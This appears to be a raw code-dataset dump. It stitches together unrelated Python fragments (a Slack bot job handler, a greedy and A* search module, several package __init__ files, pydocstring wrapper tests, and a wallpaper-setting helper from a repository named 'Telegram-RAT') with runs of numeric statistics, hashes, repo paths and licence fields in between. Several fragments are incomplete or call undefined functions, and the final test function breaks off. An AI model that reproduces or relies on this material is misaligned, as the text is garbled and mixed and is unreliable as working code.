"""Chunk the big list into group of 20 as it would be neater to send slack message """
message = "Hello <@" + args['user_id'] + "> \n"
message += "*Issues report for " + get_env('ORGANISATION') + "* \n"
chunk_lists = chunk_list_group(result, n)
__slack_helper.send_message(message, args['response_url'])
for chunk_list in chunk_lists:
message = "```\n" + tabulate(
chunk_list,
headers="keys",
tablefmt="psql") + "\n```\n"
__slack_helper.send_message(message, args['response_url'])
except Exception:
exception = "Hello <@" + args['user_id'] + \
"> there is a problem with your request. Please contact the administrator"
__slack_helper.send_message(exception, args['response_url'])
@rq.job
def get_users_in_organisation(args):
try:
result = __git_helper.get_users_in_organisation()
if not result:
message = app.config['NO_USERS_IN_ORGANISATION']
__slack_helper.send_message(message, args['response_url'])
else:
n = 30
message = "Hello <@" + args['user_id'] + "> \n"
__slack_helper.send_as_attachment(
result, args['channel_id'])
except Exception as e:
print("exception handling")
print(e)
exception = "Hello <@" + args['user_id'] + \
"> there is a problem with your request. Please contact the administrator"
__slack_helper.send_message(exception, args['response_url'])
def chunk_list_group(input, n):
return [input[i * n: (i + 1) * n]
for i in range((len(input) + n - 1) // n)]
| 38.356643
| 98
| 0.594531
| 659
| 5,485
| 4.658574
| 0.147193
| 0.064495
| 0.083062
| 0.114658
| 0.788274
| 0.788274
| 0.771987
| 0.721498
| 0.700326
| 0.700326
| 0
| 0.005396
| 0.290428
| 5,485
| 142
| 99
| 38.626761
| 0.783402
| 0
| 0
| 0.686957
| 0
| 0
| 0.208714
| 0.009726
| 0
| 0
| 0
| 0
| 0
| 1
| 0.052174
| false
| 0
| 0.052174
| 0.008696
| 0.113043
| 0.017391
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
307bd31e1fe92d54fabfc6b4dc143c176ef4c980
| 162
|
py
|
Python
|
Intro2Python/Excercises/lists.py
|
itsdamslife/python-ml-udacity
|
d16b7619a05e1b42fcbd0846f64726bf9741701a
|
[
"MIT"
] | null | null | null |
Intro2Python/Excercises/lists.py
|
itsdamslife/python-ml-udacity
|
d16b7619a05e1b42fcbd0846f64726bf9741701a
|
[
"MIT"
] | null | null | null |
Intro2Python/Excercises/lists.py
|
itsdamslife/python-ml-udacity
|
d16b7619a05e1b42fcbd0846f64726bf9741701a
|
[
"MIT"
] | null | null | null |
top_three([2, 3, 5, 6, 8, 4, 2, 1])
# [8, 6, 5]
top_three([1, 2])
# [2, 1]
top_three(['cat', 'dog', 'python', 'cuttlefish'])
# ['python', 'dog', 'cuttlefish']
| 16.2
| 49
| 0.512346
| 28
| 162
| 2.857143
| 0.464286
| 0.3
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11194
| 0.17284
| 162
| 9
| 50
| 18
| 0.485075
| 0.296296
| 0
| 0
| 0
| 0
| 0.201835
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
067e0b114a9722d350e5f31580d5e8fa351c94cf
| 76
|
py
|
Python
|
MemeEngine/__init__.py
|
SulimanCS/meme-generator
|
aefc4b9b094f77936d39c0c35b72773ce23437ca
|
[
"MIT"
] | null | null | null |
MemeEngine/__init__.py
|
SulimanCS/meme-generator
|
aefc4b9b094f77936d39c0c35b72773ce23437ca
|
[
"MIT"
] | null | null | null |
MemeEngine/__init__.py
|
SulimanCS/meme-generator
|
aefc4b9b094f77936d39c0c35b72773ce23437ca
|
[
"MIT"
] | null | null | null |
"""Importing MemeEngine."""
from MemeEngine.meme_engine import MemeEngine
| 25.333333
| 46
| 0.789474
| 8
| 76
| 7.375
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.105263
| 76
| 2
| 47
| 38
| 0.867647
| 0.276316
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
06a31907ddc8bc0450c440e1328cbbb99100ec4a
| 408
|
py
|
Python
|
resources/mstats/__init__.py
|
mvelezg99/distribuciones-de-probabilidad-python
|
2a3a413e67c2ba8b36b02cf44ad4be73b40a18ab
|
[
"MIT"
] | 8
|
2019-02-24T16:15:24.000Z
|
2020-12-10T11:43:26.000Z
|
resources/mstats/__init__.py
|
mvelezg99/distribuciones-de-probabilidad-python
|
2a3a413e67c2ba8b36b02cf44ad4be73b40a18ab
|
[
"MIT"
] | null | null | null |
resources/mstats/__init__.py
|
mvelezg99/distribuciones-de-probabilidad-python
|
2a3a413e67c2ba8b36b02cf44ad4be73b40a18ab
|
[
"MIT"
] | 3
|
2019-06-13T08:43:14.000Z
|
2021-03-27T16:09:11.000Z
|
"""
mstats: A statistics and probability library for Python
=======================================================
"""
from mstats import anova
from mstats import distributions
from mstats import generals
from mstats import hypothesis
from mstats import intervals
from mstats import categorical
from mstats import linregr
from mstats import graph
from mstats import multiregr
from mstats import timeseries
| 25.5
| 55
| 0.720588
| 48
| 408
| 6.125
| 0.416667
| 0.340136
| 0.544218
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.127451
| 408
| 15
| 56
| 27.2
| 0.825843
| 0.272059
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
23071675161aa28fceaf1d58c64c549b29d7eb6b
| 100
|
py
|
Python
|
app/app/util/controller_utils.py
|
Oblo-cit-sci/Oblo-backend
|
7771b150732fb918ca3e3c80e0f6563dcb556d7e
|
[
"MIT"
] | null | null | null |
app/app/util/controller_utils.py
|
Oblo-cit-sci/Oblo-backend
|
7771b150732fb918ca3e3c80e0f6563dcb556d7e
|
[
"MIT"
] | null | null | null |
app/app/util/controller_utils.py
|
Oblo-cit-sci/Oblo-backend
|
7771b150732fb918ca3e3c80e0f6563dcb556d7e
|
[
"MIT"
] | null | null | null |
from aiofiles.os import remove
async def delete_temp_file(file_path):
await remove(file_path)
| 16.666667
| 38
| 0.79
| 16
| 100
| 4.6875
| 0.75
| 0.213333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15
| 100
| 5
| 39
| 20
| 0.882353
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
230ee36181c73f08be26c416f8ead5936322516f
| 103
|
py
|
Python
|
enthought/developer/tools/logger.py
|
enthought/etsproxy
|
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
|
[
"BSD-3-Clause"
] | 3
|
2016-12-09T06:05:18.000Z
|
2018-03-01T13:00:29.000Z
|
enthought/developer/tools/logger.py
|
enthought/etsproxy
|
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
|
[
"BSD-3-Clause"
] | 1
|
2020-12-02T00:51:32.000Z
|
2020-12-02T08:48:55.000Z
|
enthought/developer/tools/logger.py
|
enthought/etsproxy
|
4aafd628611ebf7fe8311c9d1a0abcf7f7bb5347
|
[
"BSD-3-Clause"
] | null | null | null |
# proxy module
from __future__ import absolute_import
from etsdevtools.developer.tools.logger import *
| 25.75
| 48
| 0.84466
| 13
| 103
| 6.307692
| 0.769231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.106796
| 103
| 3
| 49
| 34.333333
| 0.891304
| 0.116505
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
235cec948b81f95e919d45ebbd1e2fba4f42fee2
| 56
|
py
|
Python
|
__init__.py
|
cribbslab/resimpy
|
aa649472e6e27b17f7634d37386499f5c7236961
|
[
"MIT"
] | null | null | null |
__init__.py
|
cribbslab/resimpy
|
aa649472e6e27b17f7634d37386499f5c7236961
|
[
"MIT"
] | null | null | null |
__init__.py
|
cribbslab/resimpy
|
aa649472e6e27b17f7634d37386499f5c7236961
|
[
"MIT"
] | null | null | null |
from omics.genomics.proj.sca.src.PathController import *
| 56
| 56
| 0.839286
| 8
| 56
| 5.875
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.053571
| 56
| 1
| 56
| 56
| 0.886792
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
2364ed4578a1cf32a8028420cff5db623397e77b
| 22
|
py
|
Python
|
cfbanking/__init__.py
|
theartofcleancode/cfbanking
|
fb4fdbb61206eb4596c4319a20fca689a6c9c365
|
[
"MIT"
] | 1
|
2021-09-29T12:02:58.000Z
|
2021-09-29T12:02:58.000Z
|
wallet/bank/__init__.py
|
alekaizer/wallet-python
|
9d0b54c893b37489dae18a2d94135b24d278b564
|
[
"MIT"
] | null | null | null |
wallet/bank/__init__.py
|
alekaizer/wallet-python
|
9d0b54c893b37489dae18a2d94135b24d278b564
|
[
"MIT"
] | null | null | null |
from .bank import Bank
| 22
| 22
| 0.818182
| 4
| 22
| 4.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136364
| 22
| 1
| 22
| 22
| 0.947368
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
88c02536dac158495ba805ef063845291496a714
| 69
|
py
|
Python
|
scrapy_scylla_proxies/__init__.py
|
kevinglasson/scrapy-scylla-proxies
|
c2aea6206ccff9075f454d082ff60848e416ea11
|
[
"MIT"
] | 7
|
2019-01-02T14:50:18.000Z
|
2019-10-30T08:34:51.000Z
|
scrapy_scylla_proxies/__init__.py
|
garvinwang/scrapy-scylla-proxies
|
974eb35601ad68c445f9e012e783b45c508f27e2
|
[
"MIT"
] | null | null | null |
scrapy_scylla_proxies/__init__.py
|
garvinwang/scrapy-scylla-proxies
|
974eb35601ad68c445f9e012e783b45c508f27e2
|
[
"MIT"
] | 1
|
2020-01-03T09:02:17.000Z
|
2020-01-03T09:02:17.000Z
|
from scrapy_scylla_proxies.random_proxy import RandomProxyMiddleware
| 34.5
| 68
| 0.927536
| 8
| 69
| 7.625
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057971
| 69
| 1
| 69
| 69
| 0.938462
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
88c11374f2d002b0ae6996a5e07edebbf4b5e700
| 79
|
py
|
Python
|
code/models/py_utils/roi_extractors/ops/__init__.py
|
360iQ/CPNDet
|
b15f0bf917f52f6a98909472e02680dfb5dcfd0c
|
[
"MIT"
] | 191
|
2020-07-16T05:50:55.000Z
|
2022-03-31T07:40:24.000Z
|
code/models/py_utils/roi_extractors/ops/__init__.py
|
360iQ/CPNDet
|
b15f0bf917f52f6a98909472e02680dfb5dcfd0c
|
[
"MIT"
] | 26
|
2020-07-30T05:34:10.000Z
|
2022-03-15T12:27:52.000Z
|
code/models/py_utils/roi_extractors/ops/__init__.py
|
360iQ/CPNDet
|
b15f0bf917f52f6a98909472e02680dfb5dcfd0c
|
[
"MIT"
] | 27
|
2020-07-15T18:33:46.000Z
|
2021-12-22T06:50:00.000Z
|
from .roi_align import RoIAlign, roi_align
__all__ = ['RoIAlign', 'roi_align']
| 26.333333
| 42
| 0.759494
| 11
| 79
| 4.818182
| 0.545455
| 0.45283
| 0.603774
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.113924
| 79
| 3
| 43
| 26.333333
| 0.757143
| 0
| 0
| 0
| 0
| 0
| 0.2125
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
88c87b07a518b4b86c2ac62ea51a596d38e142e8
| 138
|
py
|
Python
|
services/vvs/__init__.py
|
Ovakefali13/buerro
|
1476f6e708f95a09a2d73f67ae8aa2cb3bb836af
|
[
"MIT"
] | 2
|
2020-03-26T19:20:31.000Z
|
2020-03-30T13:09:07.000Z
|
services/vvs/__init__.py
|
Ovakefali13/buerro
|
1476f6e708f95a09a2d73f67ae8aa2cb3bb836af
|
[
"MIT"
] | 51
|
2020-03-05T09:04:21.000Z
|
2021-12-13T20:34:22.000Z
|
services/vvs/__init__.py
|
Ovakefali13/buerro
|
1476f6e708f95a09a2d73f67ae8aa2cb3bb836af
|
[
"MIT"
] | null | null | null |
from .journey import Journey
from .journey_request import JourneyRequest
from .vvs_service import VVSService, VVSRemote, VVSEfaJSONRemote
| 34.5
| 64
| 0.862319
| 16
| 138
| 7.3125
| 0.625
| 0.188034
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.101449
| 138
| 3
| 65
| 46
| 0.943548
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
88d51c7f97efaf2de8bc5d15850762e2e5312091
| 79
|
py
|
Python
|
src/iago/__init__.py
|
ferchault/iago
|
fc853eab7820df18d20b653acdc09c156dc152e1
|
[
"MIT"
] | null | null | null |
src/iago/__init__.py
|
ferchault/iago
|
fc853eab7820df18d20b653acdc09c156dc152e1
|
[
"MIT"
] | 18
|
2016-10-09T14:48:28.000Z
|
2017-05-08T06:34:24.000Z
|
src/iago/__init__.py
|
ferchault/iago
|
fc853eab7820df18d20b653acdc09c156dc152e1
|
[
"MIT"
] | null | null | null |
import PandasPatch
from iago import *
import cp2k
from Analyser import Analyser
| 19.75
| 29
| 0.848101
| 11
| 79
| 6.090909
| 0.545455
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.014706
| 0.139241
| 79
| 4
| 29
| 19.75
| 0.970588
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
88eeaad32feda7b9b0d26bbe765df8aa1d067f08
| 199
|
py
|
Python
|
Core/Fun/Wallpapers.py
|
pistacchietto/Telegram-RAT
|
cfe84fd4fc6ca61c4b8156c65a711bd610d5b1d0
|
[
"MIT"
] | 1
|
2021-11-09T08:20:53.000Z
|
2021-11-09T08:20:53.000Z
|
Core/Fun/Wallpapers.py
|
pistacchietto/Telegram-RAT
|
cfe84fd4fc6ca61c4b8156c65a711bd610d5b1d0
|
[
"MIT"
] | null | null | null |
Core/Fun/Wallpapers.py
|
pistacchietto/Telegram-RAT
|
cfe84fd4fc6ca61c4b8156c65a711bd610d5b1d0
|
[
"MIT"
] | null | null | null |
# Import modules
from ctypes import windll
# Sets a photo on the desktop wallpaper
def SetWallpapers(Photo, Directory):
windll.user32.SystemParametersInfoW(20, 0, Directory + Photo.file_path, 0)
| 22.111111
| 75
| 0.78392
| 27
| 199
| 5.740741
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.035088
| 0.140704
| 199
| 9
| 75
| 22.111111
| 0.871345
| 0.261307
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
88f4f6989f46213f733b6aea1f9b9e168d7df999
| 23
|
py
|
Python
|
terrascript/oci/d.py
|
hugovk/python-terrascript
|
08fe185904a70246822f5cfbdc9e64e9769ec494
|
[
"BSD-2-Clause"
] | 4
|
2022-02-07T21:08:14.000Z
|
2022-03-03T04:41:28.000Z
|
terrascript/oci/d.py
|
hugovk/python-terrascript
|
08fe185904a70246822f5cfbdc9e64e9769ec494
|
[
"BSD-2-Clause"
] | null | null | null |
terrascript/oci/d.py
|
hugovk/python-terrascript
|
08fe185904a70246822f5cfbdc9e64e9769ec494
|
[
"BSD-2-Clause"
] | 2
|
2022-02-06T01:49:42.000Z
|
2022-02-08T14:15:00.000Z
|
# terrascript/oci/d.py
| 11.5
| 22
| 0.73913
| 4
| 23
| 4.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.086957
| 23
| 1
| 23
| 23
| 0.809524
| 0.869565
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
0009ac73dc31fc3eca65e6ecfae5638c5b433bb7
| 1,915
|
py
|
Python
|
Projeto 1/Core.py
|
salesvictor/CTC-17
|
1402d8d5afe2f81c9cfa1983e2ed55edf0cffd49
|
[
"MIT"
] | null | null | null |
Projeto 1/Core.py
|
salesvictor/CTC-17
|
1402d8d5afe2f81c9cfa1983e2ed55edf0cffd49
|
[
"MIT"
] | null | null | null |
Projeto 1/Core.py
|
salesvictor/CTC-17
|
1402d8d5afe2f81c9cfa1983e2ed55edf0cffd49
|
[
"MIT"
] | null | null | null |
import heapq as hp
class Node:
def __init__(self, parent, depth, state, cost):
self.parent = parent
self.depth = depth
self.state = state
self.cost = cost
self.children = []
def __lt__(self, other):
return self.cost < other.cost
def createChild(self, state, cost):
child = Node(self, self.depth + 1, state, cost)
hp.heappush(self.children, child)
def greedy(node, MainClass):
# print(f'depth: {node.depth}\ncost:{node.cost}\nstate:\n{node.state[-1]}')
# Check if in the final state
if MainClass.is_goal(node.state):
#print(node.state, node.depth)
return node
# Get possible actions
actions = MainClass.getActions(node.state)
# If not, check children
for action in actions:
node.createChild(action, MainClass.h_cost(action))
while node.children:
leaf_node = greedy(hp.heappop(node.children), MainClass)
if leaf_node == None:
continue
elif MainClass.is_goal(leaf_node.state):
return leaf_node
elif not leaf_node.children:
return None
return None
def a_star(node, MainClass):
# print(f'depth: {node.depth}\ncost:{node.cost}\nstate:\n{node.state[-1]}')
# Check if in the final state
if MainClass.is_goal(node.state):
#print(node.state, node.depth)
return node
# Get possible actions
actions = MainClass.getActions(node.state)
# If not, check children
for action in actions:
node.createChild(action, MainClass.g_cost(action) + MainClass.h_cost(action))
while node.children:
leaf_node = a_star(hp.heappop(node.children), MainClass)
if leaf_node == None:
continue
elif MainClass.is_goal(leaf_node.state):
return leaf_node
elif not leaf_node.children:
return None
return None
| 27.753623
| 85
| 0.627154
| 248
| 1,915
| 4.733871
| 0.209677
| 0.076661
| 0.051107
| 0.032368
| 0.762351
| 0.762351
| 0.762351
| 0.762351
| 0.762351
| 0.762351
| 0
| 0.002143
| 0.26893
| 1,915
| 68
| 86
| 28.161765
| 0.836429
| 0.182245
| 0
| 0.55814
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.116279
| false
| 0
| 0.023256
| 0.023256
| 0.372093
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
cc4db441f483e76d6978dc547f63c0d52b5bb171
| 120
|
py
|
Python
|
moff/unit/unit.py
|
Tikubonn/moff
|
1c363f60959138311068177fca177d0f0dc97380
|
[
"MIT"
] | null | null | null |
moff/unit/unit.py
|
Tikubonn/moff
|
1c363f60959138311068177fca177d0f0dc97380
|
[
"MIT"
] | null | null | null |
moff/unit/unit.py
|
Tikubonn/moff
|
1c363f60959138311068177fca177d0f0dc97380
|
[
"MIT"
] | null | null | null |
from abc import ABC, abstractmethod
class Unit (ABC):
@abstractmethod
def write(self, stream):
pass
| 12
| 35
| 0.65
| 14
| 120
| 5.571429
| 0.785714
| 0.435897
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.275
| 120
| 9
| 36
| 13.333333
| 0.896552
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0.2
| 0.2
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 5
|
cc8aa202a3f5a5933e4f617c7969b8deafb089e6
| 30
|
py
|
Python
|
rumblesdk/client/__init__.py
|
n3integration/rumble-python-sdk
|
ff474fa6b499272222ca11219513a618c0ddc5cd
|
[
"Apache-2.0"
] | null | null | null |
rumblesdk/client/__init__.py
|
n3integration/rumble-python-sdk
|
ff474fa6b499272222ca11219513a618c0ddc5cd
|
[
"Apache-2.0"
] | null | null | null |
rumblesdk/client/__init__.py
|
n3integration/rumble-python-sdk
|
ff474fa6b499272222ca11219513a618c0ddc5cd
|
[
"Apache-2.0"
] | null | null | null |
from .client import ApiClient
| 15
| 29
| 0.833333
| 4
| 30
| 6.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.133333
| 30
| 1
| 30
| 30
| 0.961538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
cca1befdf1831138d2ae77fedea86ed0945ed289
| 10,316
|
py
|
Python
|
pydocstring/test/test_wrapper.py
|
kimt33/pydocstring
|
060a2c18af84388038ed43ad7533dd30c0270fa0
|
[
"MIT"
] | 2
|
2017-08-19T06:51:32.000Z
|
2021-02-05T16:52:23.000Z
|
pydocstring/test/test_wrapper.py
|
kimt33/pydocstring
|
060a2c18af84388038ed43ad7533dd30c0270fa0
|
[
"MIT"
] | 7
|
2017-08-19T06:51:58.000Z
|
2017-08-30T16:07:40.000Z
|
pydocstring/test/test_wrapper.py
|
kimt33/pydocstring
|
060a2c18af84388038ed43ad7533dd30c0270fa0
|
[
"MIT"
] | null | null | null |
import abc
import pydocstring.docstring
import pydocstring.wrapper
def test_wrapper_docstring_on_func():
"""Test pydocstring.wrapper.docstring on a function."""
@pydocstring.wrapper.docstring
def test():
"""Test docstring.
Parameters
----------
x : int
Something.
"""
pass
assert test.__doc__ == ('Test docstring.\n'
'\n'
'Parameters\n'
'----------\n'
'x : int\n'
' Something.\n\n')
assert hasattr(test, '_docstring')
assert isinstance(test._docstring, pydocstring.docstring.Docstring)
assert test._docstring.make_numpy(include_quotes=False) == test.__doc__
assert test._docstring.info['summary'] == 'Test docstring.'
assert test._docstring.info['parameters'][0].name == 'x'
assert test._docstring.info['parameters'][0].types == ['int']
assert test._docstring.info['parameters'][0].descs == ['Something.']
def test_wrapper_docstring_on_class():
"""Test pydocstring.wrapper.docstring on a class."""
@pydocstring.wrapper.docstring
class Test:
"""Test docstring.
Attributes
----------
x : int
Something.
"""
pass
test = Test()
assert test.__doc__ == ('Test docstring.\n'
'\n'
'Attributes\n'
'----------\n'
'x : int\n'
' Something.\n\n')
assert hasattr(test, '_docstring')
assert isinstance(test._docstring, pydocstring.docstring.Docstring)
assert test._docstring.make_numpy(include_quotes=False) == test.__doc__
assert test._docstring.info['summary'] == 'Test docstring.'
assert test._docstring.info['attributes'][0].name == 'x'
assert test._docstring.info['attributes'][0].types == ['int']
assert test._docstring.info['attributes'][0].descs == ['Something.']
def test_wrapper_docstring_recursive_on_func():
"""Test pydocstring.wrapper.docstring_recursive on a function."""
def test():
"""Test docstring."""
pass
def test2():
"""Another docstring."""
pass
test.test2 = test2
def test3():
"""Yet another docstring."""
pass
test.test2.test3 = test3
# NOTE: the pretty decorator @ format cannot be used here because test2 and test3 are assigned
# after the creation of the initial object and the decorator is only applied once (near
# the creation of test)
test = pydocstring.wrapper.docstring_recursive(test)
docstrings = {test: 'Test docstring.',
test.test2: 'Another docstring.',
test.test2.test3: 'Yet another docstring.'}
for obj, doc in docstrings.items():
assert obj.__doc__ == doc
assert hasattr(obj, '_docstring')
assert isinstance(obj._docstring, pydocstring.docstring.Docstring)
assert obj._docstring.make_numpy(include_quotes=False) == obj.__doc__
assert obj._docstring.info['summary'] == doc
def test_wrapper_docstring_recursive_on_class():
"""Test pydocstring.wrapper.docstring_recursive on a class."""
@pydocstring.wrapper.docstring_recursive
class Test:
"""Some test docstring.
Take care of gaps
"""
def f():
"""Some function.
Gaps?
"""
test = Test()
assert test.__doc__ == 'Some test docstring.\n\nTake care of gaps\n\n'
assert hasattr(test, '_docstring')
assert isinstance(test._docstring, pydocstring.docstring.Docstring)
assert test._docstring.make_numpy(include_quotes=False) == test.__doc__
assert test._docstring.info['summary'] == 'Some test docstring.'
def test_wrapper_docstring_on_func_kwargs():
